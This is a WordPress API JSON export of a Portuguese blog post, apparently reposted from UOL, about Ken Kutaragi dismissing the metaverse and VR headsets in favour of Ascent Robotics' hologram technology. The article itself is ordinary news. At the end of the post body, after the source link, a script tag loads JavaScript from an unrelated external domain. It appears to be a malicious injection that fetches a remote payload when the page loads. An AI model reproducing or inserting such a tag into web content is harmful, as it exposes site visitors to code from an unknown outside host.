{"id":1897,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/inventor-do-playstation-diz-que-nao-ve-sentido-em-criar-metaverso\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"inventor-do-playstation-diz-que-nao-ve-sentido-em-criar-metaverso","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/inventor-do-playstation-diz-que-nao-ve-sentido-em-criar-metaverso\/","title":{"rendered":"Inventor do PlayStation diz que n\u00e3o v\u00ea sentido em criar metaverso"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>O criador do PlayStation e <a href=\"https:\/\/www.uol.com.br\/start\/ultimas-noticias\/2007\/06\/19\/ken-kutaragi-deixa-oficialmente-o-cargo-de-chefia-da-divisao-playstation.htm\" target=\"_blank\" rel=\"noopener\">ex-chefe do departamento de games da Sony<\/a>, Ken Kutaragi, n\u00e3o \u00e9 um entusiasta do <a href=\"https:\/\/www.uol.com.br\/tilt\/faq\/metaverso-o-que-e-como-entrar-e-mais.htm\">metaverso<\/a> da forma com que ele est\u00e1 se moldando. Para ele, existe um potencial divisivo da transposi\u00e7\u00e3o do mundo real para o virtual.<\/p>\n<p>Em entrevista \u00e0 Bloomberg, o engenheiro japon\u00eas afirmou que &#8220;n\u00e3o v\u00ea a finalidade&#8221;, ou seja, n\u00e3o v\u00ea sentido em transformar um mundo que j\u00e1 existe fisicamente numa vers\u00e3o &#8220;limpinha&#8221; virtual.<\/p>\n<p>&#8220;Voc\u00ea vai preferir ser o seu avatar encerado do que ser voc\u00ea mesmo? Isso n\u00e3o \u00e9 diferente da mec\u00e2nica de f\u00f3runs an\u00f4nimos da internet&#8221;, afirmou Kutaragi, que defende uma forma diferente de se relacionar com as tecnologias: hologramas.<\/p>\n<p>Atualmente, o criador do PlayStation atua como chefe-executivo da Ascent Robotics, sediada em T\u00f3quio. Trata-se de uma startup de intelig\u00eancia artificial, que recentemente obteve um financiamento de 1 bilh\u00e3o de ienes (R$ 38,3 milh\u00f5es) junto \u00e0 pr\u00f3pria Sony e ao grupo japon\u00eas SBI Holdings.<\/p>\n<h2>Similar, mas diferente<\/h2>\n<p>A tecnologia que a Ascent vem desenvolvendo tem um objetivo similar ao do metaverso, mas n\u00e3o igual. Kutaragi descreve o trabalho como sendo a &#8220;miss\u00e3o de sua vida&#8221;: juntar o mundo real ao ciberespa\u00e7o, sem o uso de dispositivos para fazer a intermedia\u00e7\u00e3o entre eles.<\/p>\n<p>A ideia \u00e9 que objetos do mundo real sejam lidos virtualmente pelos sistemas rob\u00f3ticos da Ascent, que poderiam reproduzi-los na forma de hologramas.<\/p>\n<p>Dessa forma, o engenheiro pretende criar rob\u00f4s mais vers\u00e1teis, que possam desenvolver m\u00faltiplas tarefas e produzir mais do que um \u00fanico produto. O p\u00fablico-alvo da Ascent s\u00e3o clientes das \u00e1reas de log\u00edstica e de varejo, que lidam com muitos objetos e que poderiam se utilizar de rob\u00f4s para realizar as tarefas mais cansativas.<\/p>\n<p>De acordo com a entrevista, Kutaragi prev\u00ea uma revolu\u00e7\u00e3o no com\u00e9rcio eletr\u00f4nico em especial, com a representa\u00e7\u00e3o de produtos reais na forma de hologramas, alterando a experi\u00eancia de compras online, hoje baseada apenas em fotos e v\u00eddeos das mercadorias.<\/p>\n<h2>&#8220;Headsets s\u00e3o muito irritantes&#8221;<\/h2>\n<p>Grandes empresas da \u00e1rea de tecnologia, como o grupo Meta, de Mark Zuckerberg, a Apple e o pr\u00f3prio PlayStation, que Kutaragi ajudou a criar, est\u00e3o desenvolvendo dispositivos de imers\u00e3o para que o metaverso consiga ser explorado.<\/p>\n<p>Em geral, esses dispositivos s\u00e3o &#8220;headsets&#8221;, os \u00f3culos de <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/06\/18\/entenda-a-realidade-aumentada.htm\">realidade virtual<\/a>. Mas Ken Kutaragi \u00e9 contra a utiliza\u00e7\u00e3o desse tipo de aparelho.<\/p>\n<p>&#8220;Headsets te isolam do mundo real, e eu n\u00e3o posso concordar com isso&#8221;, afirmou ele \u00e0 reportagem. &#8220;Headsets s\u00e3o muito irritantes.&#8221;<\/p>\n<p>Por isso, o engenheiro refor\u00e7a que sua startup caminha na dire\u00e7\u00e3o contr\u00e1ria. &#8220;Os rob\u00f4s atuais n\u00e3o possuem softwares e sensores que os igualam as humanos no entendimento da vida real, e nosso objetivo a curto prazo \u00e9 oferecer uma solu\u00e7\u00e3o para isso&#8221;, afirmou.<\/p>\n<p>Para ele, \u00e9 preciso ensinar rob\u00f4s a criarem &#8220;uma variedade de coisas, n\u00e3o apenas incont\u00e1veis unidades de uma mesma coisa&#8221;, o que significa aprofundar seu entendimento sobre elas.<\/p>\n<p>Com a tecnologia de hologramas da Ascent, ele tamb\u00e9m prev\u00ea permitir que as pessoas possam reproduzir um encontro \u00e0 dist\u00e2ncia como se fosse presencial &#8211; sem a necessidade do uso do metaverso ou de headsets.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/06\/20\/inventor-do-playstation-diz-que-nao-ve-sentido-em-criar-metaverso.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O criador do PlayStation e ex-chefe do departamento de games da Sony, Ken Kutaragi, n\u00e3o \u00e9 um entusiasta do metaverso da forma com que ele est\u00e1 se moldando. Para ele, existe um potencial divisivo da transposi\u00e7\u00e3o do mundo real para o virtual. Em entrevista \u00e0 Bloomberg, o engenheiro japon\u00eas afirmou que &#8220;n\u00e3o v\u00ea a finalidade&#8221;,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":1898,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"footnotes":""},"categories":[1],"tags":[788,128,3462,357,255,800,3332,1807],"class_list":["post-1897","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sem-categoria","tag-criar","tag-diz","tag-inventor","tag-metaverso","tag-nao","tag-playstation","tag-sentido","tag-ve"],"_links":{"self":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/1897","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1897"}],"version-history":[{"count":0,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/1897\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media\/1898"}],"wp:attachment":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1897"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1897"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1897"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}